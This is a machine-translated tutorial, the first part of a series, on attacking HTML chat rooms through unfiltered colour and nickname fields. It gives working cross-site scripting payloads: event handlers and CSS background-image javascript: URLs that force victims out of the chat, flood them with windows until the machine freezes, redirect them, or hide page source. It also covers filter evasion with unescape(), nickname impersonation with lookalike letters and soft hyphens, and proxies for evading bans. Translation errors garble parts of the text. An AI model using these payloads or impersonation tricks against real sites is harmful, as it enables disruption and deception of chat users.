This page has been robot translated, sorry for typos if any. Original content here.

Hacking Chat Part 1 (Théorie et pratique)



  • Partie 1
  • Partie 2


  • Cette page ne demande en aucun cas des activités illégales, des "crackers", etc. L'objectif principal est d'étudier les fonctionnalités de HTML et d'éviter les erreurs associées à son utilisation. Pour toute utilisation illégale des informations fournies, l'auteur n'est pas responsable. À propos de toutes les erreurs trouvées dans les salons de discussion, l’administration du chat a été informée par l’auteur.
    Tous les exemples donnés dans l'article sont testés et fonctionnent sous MSIE 5.50.4134.0600. Je ne peux pas garantir la disponibilité des autres versions, mais je suis sûr que presque tous les exemples fonctionneront là.

    Glossaire

    Hacking through nickname (gestionnaire sans guillemets)
    Hacking par le pseudo (le gestionnaire est entre guillemets)
    Hacking through nickname (le filtre ne saute pas les guillemets / symboles)
    Hacking through color (attribut sans guillemets)
    Hacking through color (attribut avec guillemets)
    Sur quels symboles vous devez vérifier les filtres
    Handler Limiters
    Falsification de surnoms, surnoms vides

    Théorie générale

    Ici, je veux m'arrêter aux bases du piratage. Je suis désolé devant les lecteurs avancés - ces méthodes sont connues depuis longtemps et sont aussi anciennes que le monde. Si vous êtes suffisamment avancé, vous pouvez vous concentrer sur les chapitres suivants.

    Tout d'abord, je tiens à noter que chaque discussion est originale et unique (à l'exception des copies répliquées d'un tsitshka, bien sûr). Parce qu'il n'y a absolument aucun moyen de piratage universel. Presque chaque chat a des fonctionnalités qui doivent être prises en compte, et sans tenir compte de ce qui, les modèles stupides ne fonctionneront pas.

    Tout d'abord, qu'est-ce que je comprends vraiment en piratant le chat HTML? Ce n'est pas une inondation banale et aucune attaque sur le chat IP. Par cambriolage, nous entendons une modification non autorisée du code HTML du document de discussion ou l’accès à des parties cachées de celui-ci (par exemple, fichiers privés), c’est-à-dire un tel impact sur le chat, qui n'était pas fourni et autorisé pour les utilisateurs. Cela s'applique non seulement aux chats, mais aussi aux forums, aux livres d'or, etc. (où toutes les méthodes décrites fonctionnent également et même mieux, car ces formes sont généralement protégées, pire que les chats).

    Tout ce qui précède s'applique uniquement aux chats HTML. Hacking Java chats est une chanson distincte et complètement différente. J'espère que vous pouvez distinguer un type de chat d'une autre :) ).

    Donc, nous sommes au seuil du chat HTML. Disons que nous voulons le tester pour "force". Que dois-je faire en premier? Tout d'abord, nous nous connectons via un proxy anonyme (j'espère que vous savez ce que c'est). Ceci est nécessaire pour deux raisons: premièrement, nous fournissons notre anonymat (ce serait l’administrateur de l’oncle qui n’est pas enfoncé), et deuxièmement, si l’administrateur n’aime pas nos expériences et ferme la fenêtre de discussion, nous pourrions changer Leur proxy à d'autres adresses IP et à nouveau entrer dans le chat. La vérité ici est une chose: l'entrée de certains chats n'est pas autorisée par le biais de procurations publiques.

    Ensuite, nous devons trouver quel type d’armes nous avons, c’est-à-dire quels attributs peuvent être définis par l’utilisateur. En règle générale, dans tous les chats, vous pouvez entrer le pseudonyme de l'utilisateur, ainsi que la COULEUR de l'utilisateur. En outre, vous pouvez parfois définir le SOAP de l'utilisateur, sa page d'accueil, le sexe, la fréquence de mise à jour du chat, etc. En pratique, des champs tels que couleur, pseudonyme, savon et page d'accueil de l'utilisateur sont intéressants. Ils sont insérés directement dans le corps du document, et c'est donc à travers eux que vous pouvez attaquer le chat. Il est à noter que dans certaines discussions, vous devez vous enregistrer et que certains attributs sont définis lors de l’enregistrement et une partie - juste avant d’entrer dans le chat (ou déjà dans le chat). Les chats inscrits, en règle générale, sont plus encombrés et mieux protégés.

    > Dénote-toi des possibilités de piratage. Tout d'abord, nous allons affiner le fragment de code du formulaire, dans lequel la couleur de nos messages est définie (la couleur peut être définie séparément pour le surnom et le texte des messages; vous devez les vérifier tous les deux, car ils peuvent être analysés de différentes manières). Pourquoi sommes-nous principalement intéressés par la couleur? Parce que la couleur est indiquée dans les balises, dans leurs paramètres, contrairement, par exemple, au surnom, qui apparaît le plus souvent dans le corps des balises. Et pour pirater une discussion, nous devons pénétrer dans les paramètres de la balise, afin de pouvoir modifier ses attributs ou insérer votre script (parfois, les balises peuvent être écrites simplement dans le texte des messages, jusqu'à récemment chat.rambler). ru , mais cette option est si bête que de tels chats n'existent probablement plus, et je ne le considère pas).

    Nous sommes intéressés par le type d'informations sur la couleur envoyées au serveur. Le type de chaîne le moins sécurisé est lorsque la couleur est passée sous la forme de son propre nom. Par exemple:

    <select name=youcolor style="width: 70px">
    <option value=blue>синий value=blue
    <option value=red>красный
    <option value=darkred>т-красный
    <option value=green>зеленый
    <option value=black>черный value=black
    <option value=lightblue>голубой value=lightblue
    </select>

    Cette discussion se déroule généralement dans une certaine mesure :) . Une option pire si la couleur est renvoyée sous forme de code numérique:

    <select name=youcolor style="width: 70px">
    <option value=#0000FF>синий value=#0000FF
    <option value=#AF0000>красный
    <option value=#FF0000>т-красный
    <option value=green>зеленый
    <option value=#000000>черный value=#000000
    <option value=#0000AF>голубой value=#0000AF
    </select>

    Dans une telle discussion, il y a peut - être des filtres sur tous les symboles sauf les chiffres, le signe # et les lettres A, B, C, D, E et F. Il faut ensuite oublier de pirater la couleur.

    Et enfin la pire option, lorsque la couleur est simplement transférée sous forme de nombre dans la liste des couleurs acceptables:

    <select name=youcolor style="width:70px">
    <option value=1>синий <
    <option value=2>красный <
    <option value=3>т-красный <
    <option value=4>зеленый <
    <option value=5>черный <
    <option value=6>голубой <
    </select>

    En règle générale, un tel chat en couleur ne peut pas être piraté (et souvent même impossible). C'est l'option la plus sûre (d'ailleurs, je recommande les développeurs de chat).

    Ensuite, nous devons changer le code HTML pour pouvoir envoyer librement des valeurs arbitraires d’attributs au serveur. Pour ce faire, enregistrez le site sur votre disque et remplacez le formulaire de connexion par une conversation (ou enregistrez-vous) de la manière suivante: remplacez l'adresse relative du paramètre de l' action de formulaire par l'adresse complète. Nous remplaçons toutes les balises de type caché par un texte de type et sélectionnons les balises avec une entrée . De plus, vous devez supprimer les restrictions sur la longueur de la valeur d'entrée (le cas échéant). Par exemple, si le formulaire d'origine avait la forme:



    <form name="logon" method="POST" action="/cgi-bin/chat/chat.cgi">
    <table cellspacing="0" cellpadding="0">
    <tr>

    <td valign="middle">
    <small>Nickname:</small>
    <input type="text" name="username" size="12" maxlength="12" >
    </td>

    <td valign="middle"><small> TextColor:</small>
    <select name="color">

    <option selected value="black">black
    <option selected value="red">red
    <option selected value="blue">blue
    </select>

    </td>
    <td valign="middle">

    <small>
    <input type=submit value="Join Chat">
    </small>
    </td>

    <input type=hidden name=message value="logged on.">

    <input type=hidden name="logon" value="">
    <input type=hidden name=to value="Room">
    <input type=hidden name=frames value="yes">

    </td>
    </tr>
    </table>

    </form>


    Ensuite, après les substitutions appropriées, nous obtenons:



    <form name="logon" method="POST" action="http://typachat.ru/cgi-bin/chat/chat.cgi">

    <table cellspacing="0" cellpadding="0">
    <tr>

    <td valign="middle"><small>Nickname:</small>

    <input type="text" name="username" >

    </td>

    <td valign="middle"><small> Text Color:</small>

    <input name="color">

    <option selected value="black">black
    <option selected value="red">red
    <option selected value="blue">blue

    </select>

    </td>
    <td valign="middle">

    <small>
    <input type=submit value="Join Chat">
    </small>
    </td>

    <input type=text name=message value="logged on.">

    <input type=text name="logon" value="">

    <input type=text name=to value="Room">
    <input type=text name=frames value="yes">

    </td>
    </tr>
    </table>

    </form>


    Notez qu'un document peut être créé dynamiquement via des fonctions telles que document.write () , vous devrez probablement le convertir en vue statique. En outre, il arrive souvent qu'après avoir enregistré le code HTML sur le disque, le chat ne souhaite pas s'ouvrir. Cela peut être dû au fait que le site n’a pas été complètement enregistré, s’il s’agit de cadres. Dans ce cas, vous devez mieux comprendre la structure de la page et tout garder correctement. Une autre raison peut être que le serveur garde la trace du champ de référence de l'en-tête de requête du http et qu'il détecte que nous ne venons pas de sa page. Dans ce cas, vous devez utiliser d'autres méthodes, dont nous discuterons dans le chapitre "Piratage au niveau de http".

    Maintenant, nous pouvons expérimenter avec le chat. Tout d'abord, vous devez trouver les filtres aux valeurs d'entrée (d'abord pour la couleur et le pseudonyme). Nous nous intéressons principalement aux symboles suivants:

    " ' ` = < > ; \ & % пробел " ' ` = < > ; \ & % пробел " ' ` = < > ; \ & % пробел " ' ` = < > ; \ & % пробел " ' ` = < > ; \ & % пробел " ' ` = < > ; \ & % пробел " ' ` = < > ; \ & % пробел " ' ` = < > ; \ & % пробел " ' ` = < > ; \ & % пробел " ' ` = < > ; \ & % пробел " ' ` = < > ; \ & % пробел

    Nous les entrons dans le champ de couleur et le pseudonyme, allons dans la salle de discussion (si nous sommes autorisés à y accéder avec de tels attributs, nous devrons parcourir les caractères un par un) et voir quels symboles ont été manqués (en écrivant ayant honte dans le texte HTML de la couleur et des pseudonymes présents. Certains salons de discussion suppriment simplement les caractères filtrés, certains les remplacent par d'autres symboles, d'autres convertissent en une forme codée du type < ou ' . De tels symboles transformés ne nous conviennent pas, puisque HTML ne les accepte pas (cependant, pour plus de détails, voir le chapitre "Quelques piratages supplémentaires de la longue conversation T").

    Par conséquent, nous devons avoir une liste de caractères à ignorer pour chaque attribut du formulaire d'inscription.

    Ensuite, nous avons pour tâche de pénétrer à l'intérieur de n'importe quelle balise afin de modifier son pramatra ou d'y insérer son script. Il y a deux manières fondamentalement différentes de le faire: la première est que le code dont nous avons besoin passe par des attributs qui sont déjà à l'intérieur de la balise (entre crochets) - par exemple, par la couleur ou l'adresse du soap. La seconde consiste à casser la structure du code HTML de telle sorte que le code dont nous avons besoin se trouve dans la balise. La manière de procéder est déterminée en analysant la structure concrète du code de discussion et l’ensemble des symboles non filtrés de nos attributs. Nous examinerons différentes variantes de piratage dans les exemples suivants. En attendant, je voudrais m'attarder sur certaines fonctionnalités du HTML, qui vous permettent de produire des "effets" intéressants.

    Fonctionnalités HTML

    P> Ici, je ne vais pas faire de cours sur le HTML pour les théières. J'espère que vous savez ce qu'est une balise et ses paramètres, que vous connaissez JavaScript et que vous avez écrit au moins une page Web sur HTML (et non sur FrontPage).

    Le plus gros problème (et en même temps la force) de HTML est qu’il n’a pas de norme unique. C'est-à-dire que cela semble être là, mais les normes sont très diverses et il y a tellement de liens entrelacés en HTML que personne ne le sait parfaitement (et souvent ne sait pas ce que c'est). En outre, la concurrence entre les navigateurs et l’hétérogénéité des sites entraînent le fait que les navigateurs tentent de prendre en charge autant de normes et de technologies que possible. Et le manque de normes communes a conduit à ce que les webmasters, même sur une seule page, réussissent à se mélanger de différentes manières dans différents styles: o (Cependant, cela permet aux pirates de pirater le HTML, et donne beaucoup de maux de tête aux développeurs.

    Une question simple: quels sont les délimiteurs en HTML et en JavaScript? Même moi, je ne peux pas répondre immédiatement et sans équivoque à cette question. Considérons un exemple:

    <font onclick= "alert()">Text</font>

    Ici tout est clair et évident. Il y a une balise qui contient un gestionnaire d'événement click en JavaScript, dont le texte est placé entre guillemets. Le fait que JavaScript soit utilisé peut être spécifié explicitement:

    <font onclick="javascript:alert()">Text</font>

    Les délimiteurs de la chaîne dans ces exemples sont des guillemets doubles. Cependant, vous pouvez vous en passer. Étant donné qu'après onclick = seule une chaîne de gestionnaire statique peut être utilisée, HTML permet d'omettre les guillemets (cela s'applique à de nombreux cas où l'argument ne peut être qu'une constante de chaîne). Donc, cette conception fonctionne également:

    <font onclick=alert()>Text</font>

    et maintenant, au lieu d'un message vide, nous allons insérer quelque chose de significatif:

    <font onclick=alert('Привет друзья!')>Text</font>

    L'ouverture du lien de démonstration montre que cet exemple ne fonctionne pas. La raison en est la suivante: le corps du gestionnaire peut ne pas être placé entre guillemets, mais dans ce cas, le premier espace est considéré comme la fin du gestionnaire de lignes (même si l'espace lui-même se trouve à l'intérieur des guillemets). Par conséquent, le navigateur considère le processeur comme un fragment d' alerte ('Bonjour , et trouver un guillemet ouvert indique un message d'erreur, pourquoi le navigateur ne répond-il pas aux espaces entre guillemets? Je pense que deux langages sont mélangés: HTML et JavaScript. Le navigateur "a vu" qu'il n'y avait pas de guillemets après le signe et recherchait donc un espace comme fin du gestionnaire, mais l'intérieur du gestionnaire ne l'intéressait pas à ce moment-là, car il ne faisait pas référence à HTML, mais à JavaScript. pris un espace après un cheval Les valeurs des paramètres suivants fonctionnent sans erreur:

    <font onclick="alert('Привет друзья!')">Text</font>
    <font onclick=alert('Привет_друзья!')>Text</font>
    <font onclick="alert('Привет друзья!')"onmouseover='alert()'>Text</font>
    <font color=alert('Привет друзья!')>Text</font>

    Notez une caractéristique importante: si la valeur du paramètre tag est entre guillemets, l'espace avant le paramètre suivant peut être omis (la troisième ligne de l'exemple). La quatrième ligne de l'exemple fonctionne également (dans le sens où le navigateur ne jure pas, mais le script bien sûr ne fonctionne pas), car le navigateur ne considère pas le contenu de l'attribut JavaScript et ne jure donc pas sur un devis ouvert . Salut (comme la couleur dans HTML peut être une chaîne arbitraire, dans ce cas le navigateur convertit la chaîne en une certaine valeur numérique qui est considérée comme une couleur).

    S'il y a d'autres caractères - des délimiteurs du processeur sans les guillemets (sauf pour un blanc et un symbole > ) une question ouverte. Je ne connais pas de telles personnes, mais j'avoue qu'elles peuvent l'être.

    Comme vous pouvez le voir dans les exemples ci-dessus, les délimiteurs de lignes peuvent être des guillemets simples et doubles. Cela vaut également pour HTML et JavaScript, cependant, il se trouve qu'il y a au moins un caractère supplémentaire qui est un délimiteur de chaîne en HTML (mais pas en JavaScript!). C'est le caractère de l'apostrophe inverse ` (généralement situé sur une touche avec la lettre E ). Vous pouvez vérifier l'exemple suivant:

    <font onclick=`alert('Привет друзья!')`>Text</font>

    Je jure qu'au moins 90% des webmasters ne le savent pas! En tout cas, je n'ai pas encore vu que quiconque utiliserait une apostrophe inverse. Ce symbole est une aubaine :) ).

    Il arrive souvent qu'il soit nécessaire d'utiliser des guillemets - d'autres. Et c'est difficile, surtout si le chat ignore un seul type de devis. Mais il s'avère que JavaScript vous permet d’insérer des constantes de chaîne à l’intérieur d’autres constantes de chaîne, tout en utilisant les mêmes guillemets! Par exemple:

    'javascript:st='Фиг вам';document.oncontextmenu=new Function('event.returnValue=alert(st)*0')'

    L'exemple utilise des guillemets simples imbriqués, mais ce n'est pas le cas de l'interpréteur d'erreurs. Je note que le contenu des guillemets internes n'est pas arbitraire: ils ne doivent pas contenir d'espaces, et à la fin certains symboles ne sont pas autorisés, par exemple ; ou ) .

    Parlons maintenant des liens. Tout d’abord, il convient de noter un tel détail: le développement de l’Internet a permis de combiner des technologies complètement différentes. L'accès à l'information peut se faire via un grand nombre de protocoles différents. Par conséquent, lorsque vous spécifiez le chemin d'accès complet du document (URL), il est possible de spécifier l'un des protocoles connus du navigateur. Il convient de noter que javascript est également attribué aux protocoles (bien que ce ne soit pas le cas, mais apparemment les développeurs ont considéré qu'il serait trop audacieux d'allouer un concept distinct pour les scripts et de les classer selon les protocoles). Par conséquent, partout où vous pouvez spécifier une URL dans un document HTML, vous pouvez insérer un script. Et ce script s'exécutera dès que l'utilisateur (ou le navigateur lui-même) demandera ce lien. Par exemple:

    <a href=javascript:alert()>Text</a>

    Fait intéressant, en plus des opérateurs, dans une référence à JavaScript, vous pouvez simplement spécifier une valeur de chaîne (ou numérique) (toutefois, nécessairement après les opérateurs, le cas échéant). Lorsque vous cliquez sur un tel lien, le navigateur exécute d'abord les opérateurs à venir, puis ouvre un nouveau document et place la valeur de la dernière ligne dans le lien:

    <a href=javascript:alert();'Hello!!'>Text</a> Je noterai que les tags ne peuvent pas être insérés dans une nouvelle page de cette manière.

    Hacking R chat

    Voici un exemple de l'un des premiers chats piratés. Ce chat était très simple et a piraté l’appel du premier appel :) ).

    Et maintenant, il n'y a pas assez de chats dans lesquels il passe. Bien que j'ai pensé à ces méthodes moi-même, je les ai trouvées dans des magazines de hackers.

    La forme de saisie de cette discussion correspondait exactement à la forme donnée dans le chapitre "Théorie générale". Après avoir converti et enregistré le formulaire sur le disque, j'ai vérifié quels caractères de l'attribut de couleur étaient acceptés. Il s'est avéré que les symboles suivants passent (parmi ceux qui nous intéressent - voir le chapitre "Théorie générale"):

    ' ` = ; % пробел ' ` = ; % пробел ' ` = ; % пробел ' ` = ; % пробел ' ` = ; % пробел ' ` = ; % пробел ' ` = ; % пробел ' ` = ; % пробел ' ` = ; % пробел

    Eh bien, bien sûr, tous les chiffres et les lettres sont passés. La longueur de la valeur de ligne de la couleur n'était pas limitée. Ensuite, j'ai regardé où exactement la couleur est insérée dans le cadre du message. Voici un fragment de ce cadre:

    <font color=Black><b>Путник</b>- Alpha, привет ))</font>
    <font color=Red><b>Alpha</b>- Всемприветик !!</font>

    Comme vous pouvez le voir, la couleur est insérée sans les guillemets environnants. Cela me convenait. Je me suis connecté sous le pseudo Shram (enfin, ou presque sous un pseudo;)) et la couleur rouge taille = 20 . Mon post ressemblait à ceci:

    <font color=red size=20><b>Algol</b>- Hi</font>

    Il a été imprimé dans une très grande police, ce qui a surpris la population du chat :) ).

    Ainsi, malgré le fait que nous ne pouvons pas insérer directement de balises, mais la permission d'entrer un espace dans l'attribut de couleur nous a permis de spécifier des paramètres non autorisés de la balise. Cependant, cela n'était bien sûr pas suffisant pour moi. Changer la taille de la police bien sûr, mais vraiment quelque chose d'utile ne peut être fait qu'en utilisant des scripts. Je ne pouvais pas insérer la balise de script directement (ou plutôt à ce moment-là je ne savais pas encore comment le faire). Mais je pourrais mettre le gestionnaire à une balise d'événement. C'est la couleur que j'ai demandée, ce qui enlèverait du nerd du chat:
    #A0A000 onmouseover=parent.frames[2].forms[0].ExitChat.click() size=30. Et puis je lui ai envoyé un long message à privatiser. La couleur du message que j'ai capté de telle sorte qu'elle ne diffère pas de la couleur de fond. Et la taille de la police et la longueur du message étaient si énormes que la victime a probablement marché au moins une fois avec la souris sur le message, à la suite de quoi mon gestionnaire onmouseover a appuyé sur le bouton "quitter la discussion" :) ).

    Cependant, peu à peu, il y avait des hommes intelligents, qui avaient compris le tour et qui n'avaient pas délibérément déplacé le curseur sur la fenêtre de discussion. Mon script ne fonctionnait pas toujours :( (Au début, je pensais qu'il n'y avait pas d'issue, car je ne peux insérer le script qu'en tant que gestionnaire d'événement, alors si cet événement ne fonctionne pas, alors le script ne fonctionne pas.) Mais en fouillant dans les "annales", j'ai trouvé une solution et il est largement connu.) Il est apparu que dans l'attribut style, vous pouvez spécifier l'URL du fond d'écran pour la balise et où vous pouvez spécifier l'URL, vous pouvez écrire le script et surtout, l'image d'arrière-plan téléchargée seule lors du chargement du document HTML! Pour afficher l'alerte aux participants à la discussion, je me suis connecté avec la couleur suivante Ceci:

    style=background-image:url(javascript:alert('приветик_всем_!!'));

    Il convient de noter un détail important: comme la structure de la plupart des conversations HTML est telle que la page est régulièrement mise à jour, le script ainsi envoyé est exécuté plusieurs fois, jusqu’à ce que notre message disparaisse de l’écran.

    Mais voici comment la valeur de l'attribut de couleur pour quitter la discussion a été la suivante:

    style=background-image:url(javascript:parent.frames[2].forms[0].ExitChat.click());

    Vous devez vous rappeler que le script envoyé en privé sera vu non seulement par votre "interlocuteur", mais par vous-même, vous devez donc savoir comment vous protéger de l'influence du script. Cela peut se faire de deux manières: soit en vous ignorant (et ensuite nous ne verrons plus vos propres messages), soit dans les paramètres du navigateur pour interdire l'affichage des images. Le script qui se déclenche dans l'image d'arrière-plan ne fonctionnera pas.

    Maintenant, je veux montrer des scripts utiles qui peuvent être utilisés dans les conversations piratées:

    javascript: browse ('http://myserver.ru'); - charge myserver.ru dans l'image courante (ou la page).
    Certains chats, lorsque vous voyez le fragment http: // , considèrent cela comme un lien et la balise <a> est automatiquement insérée. Comme cela détruira notre script, cela ne devrait pas être autorisé. Pour ce faire, omettez simplement le préfixe http (qui est déjà accepté par défaut). Ensuite, le script ressemblera à ceci: javascript: browse ('// myserver.ru'); Deux avant la barre oblique sont obligatoires.

    javascript: parent.frames [2] .document.location = 'http: //myserver.ru' - charge myserver.ru dans un des cadres.

    javascript: for (;;) open () - ouvre un nombre infini de fenêtres (s'il n'est pas navigué à temps, cela entraîne le blocage de la machine et le redémarrage ultérieur).

    javascript: document.write ('<script> alert () </ script>') - remplace l'image en cours par un script, qui est ensuite exécuté. Note: si le chat ne manque pas le <et> (et c'est le nombre écrasant de chats), alors nous ne pouvons pas insérer un tel script. Mais il y a une issue. Ceci est une application de la fonction unescape () , qui convertit le code ASCII du caractère en un caractère. Nous remplaçons les crochets avec la fonction unescape () avec les codes correspondants, puis notre script ressemblera à ceci:

    javascript:document.write(unescape('%3C')+'script'+unescape('%3E')+'alert()'+unescape('%3C')+'/script'+unescape('%3E')) javascript:this.insertBefore(e=document.createElement('IMG'));e.src='demo.jpg' - insère l'image après le texte. Notez que dans IE 5.x, vous pouvez insérer une balise autre que FRAME, IFRAME et SELECT.

    Mais dans IE 4.x, la fonction createElement () permet d' insérer uniquement les balises IMG , AREA et OPTION . Je n'ai aucune information sur Netscape, vous pouvez expérimenter vous-même. 'javascript:st='Фиг вам';document.oncontextmenu=new Function('event.returnValue=alert(st)*0')' / * bloque le menu déroulant de la page, rendant ainsi inaccessible l'affichage du contenu HTML du cadre. Grâce à cela, vous pouvez cacher vos machinations avec le corps du chat :) ). * / Parfois, il est utile de se connecter avec le pseudonyme de quelqu'un d'autre. Les discussions avec un système d'enregistrement d'utilisateur ne vous permettront pas de le faire si vous ne connaissez pas le mot de passe (et vous ne le savez probablement pas). La sortie banale: enregistrement avec un surnom dans lequel la lettre de l'alphabet latin est remplacée par une lettre très similaire de la disposition russe. Par exemple, connectez-vous sous le pseudonyme admin où la lettre latine a est remplacée par le russe a . La méthode est primitive, mais ça marche)). Il y a aussi des cas plus graves. Par exemple, dans certaines discussions, il est interdit d'utiliser des caractères provenant de différentes mises en page dans un pseudo. Alors l'esprit curieux n'a d'autre choix que de se tourner vers Oncle Gates pour obtenir de l'aide. Et maintenant, elle est gentille, Microsoft n'a pas oublié les utilisateurs pécheurs et nous a donné un symbole ­ (aka ­ c'est % AD ), que l'entreprise de microsoft a appelé "trait d'union" ("trait d'union"). Cela ressemble vraiment à un trait d'union dans Word et dans un Excel aussi, et même dans un cahier, mais pas dans IE! Pour l'explorateur d'icônes de Microsoft ­ il n'existe tout simplement pas, c'est-à-dire qu'il semble exister, mais pour lui, ils ont oublié de faire une représentation graphique. Il n'apparaît tout simplement pas dans la page HTML! Ainsi, en ajoutant un petit trait d'union à un pseudonyme quelconque et en s'inscrivant sous ce pseudonyme, nous entrons dans le chat avec le pseudonyme, qui apparaîtra sur la page HTML comme le surnom sans trait d'union. Et vous pouvez le rendre encore plus cool - connectez-vous avec un surnom qui ne contient que des caractères tirets courts. Ensuite, votre pseudo ne sera plus affiché dans le chat, absolument vide)).

    (Remarque: même si le trait d'union était déjà un peu court, j'ai toujours trouvé des cas où il apparaît: il apparaît uniquement comme un trait d'union, c'est-à-dire si le mot est à la fin de la ligne. être déplacé à la ligne suivante, et le tiret lui-même devient visible! Ainsi, il est possible que le tiret soit invisible - la fonction de préemption du microsoft (qui, cependant, ne réduit pas son utilité en cambriolage :) ). La vérité n'est pas claire pourquoi reste-t-il toujours visible dans d'autres applications?)



    2 heures supplémentaires >>